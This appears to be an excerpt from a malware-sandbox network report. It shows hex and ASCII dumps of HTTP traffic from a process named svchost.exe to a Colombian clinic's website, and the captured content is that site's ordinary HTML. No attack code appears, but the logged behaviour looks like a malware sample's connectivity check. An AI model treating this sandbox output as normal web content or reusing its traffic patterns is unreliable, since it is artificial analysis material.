30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 Data Ascii: ck hidden-phone"><div class="customg-animatedblock hidden-phone"><img src="/images/rocketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div c
2023-03-10 06:56:00 UTC	126	IN	Data Raw: 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: e-icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="
2023-03-10 06:56:00 UTC	128	IN	Data Raw: 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 Data Ascii: 0"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-p
2023-03-10 06:56:00 UTC	129	IN	Data Raw: 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 Data Ascii: ></div></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><di
2023-03-10 06:56:00 UTC	130	IN	Data Raw: c3 b3 6e 20 31 20 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 Data Ascii: n 1 cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horar
2023-03-10 06:56:00 UTC	132	IN	Data Raw: 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 Data Ascii: ><div class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div c
2023-03-10 06:56:00 UTC	133	IN	Data Raw: 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 Data Ascii: v class="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis"
2023-03-10 06:56:00 UTC	134	IN	Data Raw: 34 61 39 0d 0a 73 79 6e 63 3d 22 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 Data Ascii: 4a9sync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bot
2023-03-10 06:56:00 UTC	135	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	53132	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	306	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-03-10 06:56:15 UTC	440	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065; path=/; HttpOnly Last-Modified: Fri, 10 Mar 2023 06:56:15 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9t0ITf82MDnzlhkfX%2BjMNVn4ZUTSaQw5gE9iukDLi3qlUC2IvV3g0IgmeFsCgycTBByidW2RKu%2BZE17cIppGrXimeHr%2FXMVo9XvC3VaNpDurmPyPUTVAT2y14pQrLJ6TrhxiomiP%2FMg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a81c6e669a24-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:15 UTC	441	IN	Data Raw: 37 63 34 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c4e<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:15 UTC	441	IN	Data Raw: 20 68 72 65 66 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d Data Ascii: href="/plugins/system/rokbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href=
2023-03-10 06:56:15 UTC	443	IN	Data Raw: 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 Data Ascii: media/system/js/core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><scri
2023-03-10 06:56:15 UTC	444	IN	Data Raw: 2f 6a 73 2f 68 74 6d 6c 35 73 68 69 76 2d 70 72 69 6e 74 73 68 69 76 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 Data Ascii: /js/html5shiv-printshiv.min.js"></script> <link rel="stylesheet" href="/media/gantry5/users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script>
2023-03-10 06:56:15 UTC	445	IN	Data Raw: 61 5f 63 6c 69 6e 69 63 61 2f 6c 6f 67 6f 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2e 70 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 Data Ascii: a_clinica/logo_horizontal.png" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-topleve
2023-03-10 06:56:15 UTC	447	IN	Data Raw: 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 23 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d Data Ascii: u-item-container" href="#" data-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class=
2023-03-10 06:56:15 UTC	448	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 Data Ascii: s="g-menu-item-content"><span class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-conta
2023-03-10 06:56:15 UTC	449	IN	Data Raw: 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 70 6f 6c 69 74 69 63 61 73 2d 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: php/nuestra-clinica/politicas-institucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-
2023-03-10 06:56:15 UTC	451	IN	Data Raw: 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: "g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-
2023-03-10 06:56:15 UTC	452	IN	Data Raw: 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: i class="g-menu-item g-menu-item-type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-
2023-03-10 06:56:15 UTC	453	IN	Data Raw: 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 Data Ascii: ntent"><span class="g-menu-item-title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"
